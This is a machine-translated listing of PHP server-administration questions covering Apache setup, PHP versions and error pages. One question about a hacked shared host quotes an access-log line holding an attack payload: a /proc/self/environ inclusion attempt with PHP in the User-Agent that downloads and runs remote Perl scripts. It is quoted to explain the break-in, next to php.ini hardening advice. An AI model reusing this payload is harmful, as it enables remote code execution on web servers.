标签: php

10000人同时在线,我应该租什么样的服务器?

我用php做一个信息站点,我需要我的服务器可以支持10000人同时在线。

我应该租用哪种服务器?(硬件、操作系统、网络等)

  1. 列表项:每页平均执行 MYSQL QUERY 6-7 次。

  2. 列表项:PHP 生成 html 页面。

谢谢。

php

3
推荐指数
1
解决办法
2273
查看次数

让 PHP 与 apache 一起工作以通过浏览器运行 .php 文件

我有运行 Debian 5.0 的 VPS(我认为),我想让它运行 PHP 文件。有人告诉我它需要使用 Apache 进行配置。我尝试输入命令apt-get install apache2 php5 libapache2-mod-php5。但是没有任何变化。控制台输出:http : //pastebin.com/sVMWq6mA

这是我的一切/etc/apache2/mods-enabled: http://img35.imageshack.us/img35/6474/modsb.jpg

我的网络服务器可以在这里访问:http : //206.217.223.136/test/ 在我的 test.php 文件中,我有代码:

<?php
 phpinfo();
?>
Run Code Online (Sandbox Code Playgroud)

但它没有显示页面,而是尝试下载它。我怎样才能解决这个问题?

php apache-2.2

3
推荐指数
1
解决办法
3万
查看次数

LAMP:自定义 500 错误页面 - 实际上可能吗?

正如问题标题所暗示的那样,我想设置一个自定义的 500 错误。事实上,我想对错误使用 .php 文件,并且最好发送 503 响应(SE 原因)。

问题是我知道生成 500 响应的唯一方法是通过 .htaccess,它显示服务器的内置/默认 500 错误页面。(我是这样假设的,因为错误发生在 .htaccess 中;它没有被处理,也不能显示自定义的。)

所以我的问题是:1) 是否真的可以生成一个自定义的 500 页面来显示给用户?2) 如何使用非 .htaccess 方法测试响应/错误?

是的,我在服务器故障上搜索过这里。是的,我也试过用谷歌搜索。不,我还没有找到任何关于如何进行简单测试的信息。(每次我发现导致 500 响应的东西时,似乎都需要我加载 lord-knows-what 系统。)

任何帮助,将不胜感激。

php .htaccess 500-error apache-2.2

3
推荐指数
1
解决办法
2186
查看次数

在 ubuntu 11.04 上安装 php4

我需要安装 php4 才能运行一个不再兼容 php5 的特定模块。我正在运行 ubuntu 服务器 11.04 64 位。正如我所料,php4 软件包不再可用。有没有人有安装php4的源代码?

附注。在有人发帖说 php5 更好之前“BLAH BLAH BLAH”我需要 php4 有一个非常具体的原因,解释为什么我应该使用 php5 而不是 php4 的评论没有帮助。

ubuntu php apache-2.2 ubuntu-11.04

3
推荐指数
1
解决办法
5122
查看次数

如何在本地计算机系统上获取 PHP?

如何在上传之前在本地计算机上测试 PHP 脚本?我对此有点陌生,因此为简单而感到抱歉。如果有帮助,我的域提供商安装的 PHP 版本是5.2.2。

编辑:好吧,大家放心,我运行的是 Windows 7 x64

php filesystems php5 local

3
推荐指数
1
解决办法
619
查看次数

将不同版本的 PHP 与虚拟域/主机一起使用

我使用 Apache virtualHosts 在单个目录中托管多个网站。其中一些需要 PHP 5.2,而另一些则可以使用 PHP 5.3。如何指定使用每个版本的目录以及如何在一个系统上使用多个版本的 PHP?

php virtualhost

3
推荐指数
1
解决办法
3951
查看次数

为什么我的 Linux 服务器无法将“php”识别为程序?

我需要从命令行使用 PHP。当我打字

php ....
Run Code Online (Sandbox Code Playgroud)

系统说:

-bash: php: command not found
Run Code Online (Sandbox Code Playgroud)

现在,我知道 PHP 已经启动并运行 b/c,它托管了我的 Drupal 站点。我不确定如何找到该程序。我在目录中搜索路径但没有成功。

我错过了什么?

我正在使用 Ubuntu Linux。

我安装了以下软件包:

php5                                            install
php5-common                                     install
php5-curl                                       install
php5-gd                                         install
php5-mcrypt                                     install
php5-mysql                                      install
Run Code Online (Sandbox Code Playgroud)

php shell php5 apache-2.2

3
推荐指数
1
解决办法
1124
查看次数

配置 php.ini 以防止攻击

我在共享主机服务器(heartinternet)上受到攻击,他们说我应该php.ini正确配置自己的文件。

好吧,我有一个带有注册功能的小 php/MySQL 程序,一个小的管理站点,但是有人破解了它。

配置php.ini文件以防止此类攻击的一般方法是什么?任何好的设置将不胜感激。

这是我从网络主机提供商那里得到的:


121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"
Run Code Online (Sandbox Code Playgroud)

由于脚本注入攻击的是站点代码本身,因此能够完全规避网络服务器的安全。不幸的是,一些内容管理系统(尤其是旧版本的 Joomla)极易受到这种形式的攻击。

消除攻击者使用此方法的能力的一种简单方法是在网站的顶层添加一个 php.ini 文件,其中包含以下内容 - 但请注意,该网站将需要事后测试以确保没有合法的网站脚本操作已受到更改的影响:

php.ini 指令是...

allow_url_include = "0"
allow_url_fopen = "0"
Run Code Online (Sandbox Code Playgroud)

php php.ini

3
推荐指数
1
解决办法
1839
查看次数

有没有简单的 PHP Web 服务器

有没有什么是用于 Linux 的非常简单的 PHP Web 服务器,它实际上需要一个 PHP 文件并通过端口 80 为其提供服务。不想配置一个完整的 Web 服务器,如 apache、lighttpd 或 nginx。只需要提供单个 PHP 脚本,不需要虚拟主机。如果它像这样工作,那就太棒了:

$ simple-php-web-server myscript.php
Run Code Online (Sandbox Code Playgroud)

unix php web-server

3
推荐指数
2
解决办法
9939
查看次数

有没有办法在同一个 Apache 服务器或至少同一个端口上使用 Java 和 PHP?

我是 Java for Web 的新手,我的问题是我是否可以同时使用 Java 和 PHP?我知道我可以一起使用它们,让我们重新表述这个问题,有没有办法在同一个端口访问它们?

Java使用Tomcat,PHP也可以使用tomcat吗?

php java

3
推荐指数
1
解决办法
8706
查看次数